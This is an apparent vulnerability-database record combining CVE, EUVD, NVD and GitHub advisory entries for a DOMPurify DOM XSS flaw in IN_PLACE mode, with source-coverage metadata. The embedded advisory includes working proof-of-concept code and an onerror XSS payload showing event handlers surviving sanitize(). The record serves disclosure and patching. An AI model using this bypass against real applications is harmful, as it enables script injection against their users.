{"id":"GHSA-77h4-4vqj-j7vc","revision":null,"records":[{"revision":"384c8e98732a460c9095c350778fadec","observedAt":"2026-10-27T02:23:01.617+00:00","statement":{"source":"cve-program","id":"CVE-2026-116803","aliases":[],"title":"DOMPurify before 3.4.17 DOM XSS via IN_PLACE Hook-Detached Subtrees","description":"DOMPurify before 3.4.17 contains a cross-site scripting vulnerability that allows attackers to keep event handlers armed when an IN_PLACE hook removes a parent or sibling node. Attacker markup in detached subtrees is never walked or neutralized, so handlers like img onerror fire after sanitize() returns, causing DOM XSS.","state":0,"publishedAt":"2026-10-26T23:05:35.135+00:00","modifiedAt":"2026-10-26T23:05:35.135+00:00","affected":[{"ecosystem":"Vendor product","name":"DOMPurify","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"cure53\",\n                    \"product\": \"DOMPurify\",\n                    \"defaultStatus\": \"unaffected\",\n                    \"packageURL\": \"pkg:npm/dompurify\",\n                    \"versions\": [\n                        {\n                            \"version\": \"0\",\n                            \"status\": \"affected\",\n                            \"versionType\": \"semver\",\n                            \"lessThan\": \"3.4.17\"\n                        },\n                        {\n                            \"version\": \"3.4.17\",\n                            \"status\": \"unaffected\",\n                            \"versionType\": \"semver\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N","score":5.1,"severity":"MEDIUM"},{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","score":6.1,"severity":"MEDIUM"}],"references":["https://github.com/cure53/DOMPurify/security/advisories/GHSA-mrv2-3pqr-j5jr","https://www.vulncheck.com/advisories/dompurify-before-3.4.17-dom-xss-via-in-place-hook-detached-subtrees"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-116803","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-116803","identifiers":["CVE-2026-116803"]},"retained":false,"historicalAffected":[]},{"revision":"c97519f79cde4ff393b63988d16dc675","observedAt":"2026-10-30T02:00:27.5+00:00","statement":{"source":"euvd","id":"EUVD-2026-110511","aliases":["CVE-2026-116803","GHSA-77h4-4vqj-j7vc"],"title":"DOMPurify before 3.4.17 contains a cross-site scripting vulnerability that allows attackers to keep event handlers armed when an IN_PLACE hook removes a parent or sibling node. Attacker markup in detached subtrees is never walked or neutral…","description":"DOMPurify before 3.4.17 contains a cross-site scripting vulnerability that allows attackers to keep event handlers armed when an IN_PLACE hook removes a parent or sibling node. Attacker markup in detached subtrees is never walked or neutralized, so handlers like img onerror fire after sanitize() returns, causing DOM XSS.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N","score":5.1,"severity":null}],"references":["https://github.com/cure53/DOMPurify/security/advisories/GHSA-mrv2-3pqr-j5jr","https://www.vulncheck.com/advisories/dompurify-before-3.4.17-dom-xss-via-in-place-hook-detached-subtrees"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-110511","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Oct 26, 2026, 11:05:35 PM","dateUpdated":"Oct 26, 2026, 11:05:35 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-110511","identifiers":["EUVD-2026-110511","CVE-2026-116803","GHSA-77h4-4vqj-j7vc"]},"retained":false,"historicalAffected":[]},{"revision":"6716df778e884397b59f96f7490a4af0","observedAt":"2026-10-29T11:13:09.369+00:00","statement":{"source":"nvd","id":"CVE-2026-116803","aliases":[],"title":"DOMPurify before 3.4.17 contains a cross-site scripting vulnerability that allows attackers to keep event handlers armed when an IN_PLACE hook removes a parent or sibling node. Attacker markup in detached subtrees is never walked or neutral…","description":"DOMPurify before 3.4.17 contains a cross-site scripting vulnerability that allows attackers to keep event handlers armed when an IN_PLACE hook removes a parent or sibling node. Attacker markup in detached subtrees is never walked or neutralized, so handlers like img onerror fire after sanitize() returns, causing DOM XSS.","state":0,"publishedAt":"2026-10-27T00:17:11.913+00:00","modifiedAt":"2026-10-27T15:06:33.62+00:00","affected":[],"metrics":[{"system":"CVSS 4.0 · disclosure@vulncheck.com · Secondary","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","score":5.1,"severity":"MEDIUM"},{"system":"CVSS 3.1 · disclosure@vulncheck.com · Primary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","score":6.1,"severity":"MEDIUM"}],"references":["https://github.com/cure53/DOMPurify/security/advisories/GHSA-mrv2-3pqr-j5jr","https://www.vulncheck.com/advisories/dompurify-before-3.4.17-dom-xss-via-in-place-hook-detached-subtrees"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-116803","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Awaiting Analysis","weaknesses":["CWE-79"],"productCriteria":[],"sourceDates":{"published":"2026-10-27T00:17:11.913","lastModified":"2026-10-27T15:06:33.620"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-116803","identifiers":["CVE-2026-116803"]},"retained":false,"historicalAffected":[]},{"revision":"db0845d12dba4f18a41a5873afb2a541","observedAt":"2026-10-27T11:09:43.59+00:00","statement":{"source":"osv","id":"GHSA-mrv2-3pqr-j5jr","aliases":["CVE-2026-116803"],"title":"DOMPurify IN_PLACE: hook that removes a parent or sibling leaves the detached subtree's event handlers armed (incomplete fix for GHSA-p98j-92pf-mc4p)","description":"### Summary\n\nThe 3.4.16 fix for GHSA-p98j-92pf-mc4p only covers a hook that removes the node it was called for. If an `IN_PLACE` hook removes a different node, like the current node's parent or a sibling that has not been visited yet, that subtree is never walked or neutralized. Event handlers in it stay on the elements, and an `<img onerror>` that was already loading fires after `sanitize()` returns.\n\nThe README says: \"Nodes that a hook detaches from the tree ... are treated as removed. In IN_PLACE mode their subtree is neutralized inline, so an `<img onload>` that was already loading when you built the live tree cannot fire after `sanitize()` returns.\" That does not hold when the detached node is not the hook's own node.\n\n### Tested versions\n\n- 3.4.16 (latest) and main at 18f8f0e\n- also 3.4.15, 3.4.12 and 2.5.8\n\njsdom for the matrix below, and Chromium (Playwright) for the event actually firing.\n\n### Details\n\n`src/purify.ts` line 2134 (`dist/purify.cjs.js` line 2009 in 3.4.16), `_handleHookDetachedNode()`:\n\n```js\nif (currentNode === root || getParentNode(currentNode) !== null) {\n  return false;\n}\nif (IN_PLACE) {\n  _neutralizeSubtree(currentNode);\n}\n```\n\nIt only checks whether `currentNode` lost its parent. When a hook removes `currentNode.parentNode` (or any ancestor), `currentNode` still has a parent, so nothing happens. The rest of the removed subtree is no longer reachable by the walker, and it is not in `DOMPurify.removed`, so the post walk pass does not see it either. The same happens when a hook removes a later sibling. This applies to all five element and attribute hooks.\n\n### PoC (jsdom)\n\n```js\nconst { JSDOM } = require('jsdom')\nconst createDOMPurify = require('dompurify')\nconst win = new JSDOM('<!doctype html><body></body>').window\nconst doc = win.document\n\nfor (const mode of ['self', 'parent', 'nextSibling']) {\n  const DOMPurify = createDOMPurify(win)\n  doc.body.innerHTML = '<div id=root><figure><img class=bad src=a.png>' +\n    '<img id=evil src=x onerror=alert(1)></figure><p>ok</p></div>'\n  const root = doc.getElementById('root')\n  const evil = doc.getElementById('evil')\n\n  // app hook: drop a bad image (self), its wrapper (parent), or the next element (nextSibling)\n  DOMPurify.addHook('afterSanitizeAttributes', (node) => {\n    if (node.getAttribute && node.getAttribute('class') === 'bad') {\n      if (mode === 'self') node.remove()\n      if (mode === 'parent') node.parentNode.remove()\n      if (mode === 'nextSibling') node.nextElementSibling.remove()\n    }\n  })\n\n  DOMPurify.sanitize(root, { IN_PLACE: true })\n  console.log(DOMPurify.version, mode.padEnd(11), 'onerror =', JSON.stringify(evil.getAttribute('onerror')))\n}\n```\n\nOutput on 3.4.16:\n\n```\n3.4.16 self        onerror = null\n3.4.16 parent      onerror = \"alert(1)\"\n3.4.16 nextSibling onerror = \"alert(1)\"\n```\n\nIn `self` mode the walker still reaches the second image and strips `onerror`. In the other two modes the second image is detached with its handler still set. The same result is achieved with each of `beforeSanitizeElements`, `uponSanitizeElement`, `afterSanitizeElements`, `beforeSanitizeAttributes` and `afterSanitizeAttributes`.\n\n### PoC (browser)\n\nThe same thing in a real page, served from 127.0.0.1 and opened in Chromium:\n\n```html\n<!doctype html><meta charset=utf-8>\n<script src=\"purify.min.js\"></script>\n<body><pre id=log></pre>\n<script>\nwindow.fired = [];\nfunction run(mode) {\n  const D = DOMPurify(window);\n  D.addHook('afterSanitizeAttributes', n => {\n    if (n.getAttribute && n.getAttribute('class') === 'bad') {\n      if (mode === 'parent') n.parentNode.remove();\n      if (mode === 'self') n.remove();\n    }\n  });\n  const root = document.createElement('div');\n  document.body.appendChild(root);\n  root.innerHTML = '<figure><img class=bad src=data:,><img src=x onerror=\"fired.push(\\'' + mode + '\\')\"></figure><p>ok</p>';\n  D.sanitize(root, { IN_PLACE: true });\n  return root.outerHTML;\n}\nconst a = run('self'), b = run('parent');\nsetTimeout(() => {\n  document.getElementById('log').textContent =\n    'version=' + DOMPurify.version + '\\nself out=' + a + '\\nparent out=' + b + '\\nfired=' + JSON.stringify(fired);\n}, 1500);\n</script>\n```\n\nResult on 3.4.16:\n\n```\nversion=3.4.16\nself out=<div><figure><img src=\"x\"></figure><p>ok</p></div>\nparent out=<div><p>ok</p></div>\nfired=[\"parent\"]\n```\n\nThe returned tree is clean in both cases, but the handler on the detached image runs in the page for `parent`.\n\n### Impact\n\nAn app that uses `IN_PLACE` with a hook that removes a wrapper or a nearby element (for example \"drop the whole `<figure>` if its image is not allowed\") gets DOM XSS from attacker markup after `sanitize()` returns. It needs that kind of hook, so it falls under \"input plus an application choice\" in SECURITY.md, but it breaks the guarantee the README gives for hook detached nodes and is the same pattern as GHSA-55q2-fjhq-7xh7 and GHSA-p98j-92pf-mc4p.\n\n### Suggested fix\n\nInstead of only checking `currentNode`, check after each hook call whether anything outside the current node was detached. Two simple options:\n\n- before calling a hook in `IN_PLACE` mode, remember the next node the walker will visit and the current node's ancestors; after the hook, neutralize any of them that are no longer attached under `root`\n- or, after the walk, neutralize every element that was in the original tree but is no longer connected to `root` (for example by collecting the elements before the walk)","state":0,"publishedAt":"2026-10-22T16:24:52+00:00","modifiedAt":"2026-10-27T10:56:05.6134597+00:00","affected":[{"ecosystem":"npm","name":"dompurify","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"3.4.17"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V4","vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/cure53/DOMPurify/security/advisories/GHSA-mrv2-3pqr-j5jr","https://github.com/cure53/DOMPurify/pull/1672","https://github.com/cure53/DOMPurify/commit/a77a3e78b59f72fa4d1c83f22e121ad9cc7d3575","https://github.com/cure53/DOMPurify","https://github.com/cure53/DOMPurify/releases/tag/3.4.17"],"sourceUrl":"https://github.com/advisories/GHSA-mrv2-3pqr-j5jr","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-mrv2-3pqr-j5jr","identifiers":["GHSA-mrv2-3pqr-j5jr","CVE-2026-116803"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-10-30T16:47:08.0799506+00:00","complete":true,"records":1764,"lastAttemptAt":"2026-10-30T16:47:08.0799506+00:00","lastSuccessAt":"2026-10-30T16:47:08.2603913+00:00","error":null,"lastVerifiedAt":"2026-10-30T16:47:08.2603923+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-7e2c4e7288f2c464ad8c61f3bb6017374714faedcc781283ac06a706ee1a820b-eaf386bcc66750862089c53dbb20b94f352d28d45e3680ead39fc42a5a1efb8b","complete":true,"records":417249,"lastAttemptAt":"2026-10-30T17:45:32.5658953+00:00","lastSuccessAt":"2026-10-30T17:45:32.4016715+00:00","error":null,"lastVerifiedAt":"2026-10-30T17:45:32.5658953+00:00","snapshotPublishedAt":"2026-10-30T17:26:34+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-b29727a527764786ad7f968eef139c25","complete":false,"records":13527,"lastAttemptAt":"2026-10-30T16:59:20.2596173+00:00","lastSuccessAt":"2026-10-30T16:59:20.255+00:00","error":"74 identifier lookups failed; latest failures include HTTP 403. Other identifiers were checked independently.","lastVerifiedAt":"2026-10-30T16:59:20.255+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":12149,"expectedIdentifiers":13605,"failedIdentifiers":74},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-10-30T16:47:08.0799506+00:00","complete":true,"records":1094,"lastAttemptAt":"2026-10-30T16:47:08.0799506+00:00","lastSuccessAt":"2026-10-30T16:47:08.2616584+00:00","error":null,"lastVerifiedAt":"2026-10-30T16:47:08.2616589+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-0f2f428ccf42491d9927e55626b8fc62","complete":false,"records":13545,"lastAttemptAt":"2026-10-30T16:47:33.5927086+00:00","lastSuccessAt":"2026-10-30T16:47:33.589+00:00","error":null,"lastVerifiedAt":"2026-10-30T16:47:33.589+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13603,"expectedIdentifiers":13605,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-e091d9104aae1991994c868b5fad0248c9b288abafb7672fca8ae6500f97e080","complete":true,"records":9808,"lastAttemptAt":"2026-10-30T16:47:08.0351821+00:00","lastSuccessAt":"2026-10-30T15:47:48.5635219+00:00","error":null,"lastVerifiedAt":"2026-10-30T16:47:08.0351821+00:00","snapshotPublishedAt":"2026-10-30T15:23:39+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-2de9ccc5290f060c7aa63f89c25dd76f655a64ba1aba7c05c97fa3bee4f09899","complete":true,"records":1967,"lastAttemptAt":"2026-10-30T17:45:32.7901767+00:00","lastSuccessAt":"2026-10-28T20:55:34.2982937+00:00","error":null,"lastVerifiedAt":"2026-10-30T17:45:32.7901767+00:00","snapshotPublishedAt":"2026-10-28T20:03:08+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-f63fa91e750071ae88c9f82019ecd6c982fa4fcc1d3dc5ceb5d9c642fb6bf05c","complete":true,"records":3023,"lastAttemptAt":"2026-10-30T16:47:08.0492653+00:00","lastSuccessAt":"2026-10-30T11:49:36.4759887+00:00","error":null,"lastVerifiedAt":"2026-10-30T16:47:08.0492653+00:00","snapshotPublishedAt":"2026-10-30T11:18:14+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-5a294989873fb9168d8ae38882a7a1451dd62315f67b71899ceec86dfb29d13b","complete":true,"records":230954,"lastAttemptAt":"2026-10-30T17:45:39.2092471+00:00","lastSuccessAt":"2026-10-30T16:47:06.5719002+00:00","error":null,"lastVerifiedAt":"2026-10-30T16:47:07.9043788+00:00","snapshotPublishedAt":"2026-10-30T16:33:30+00:00","importing":true,"stagedRecords":96000,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}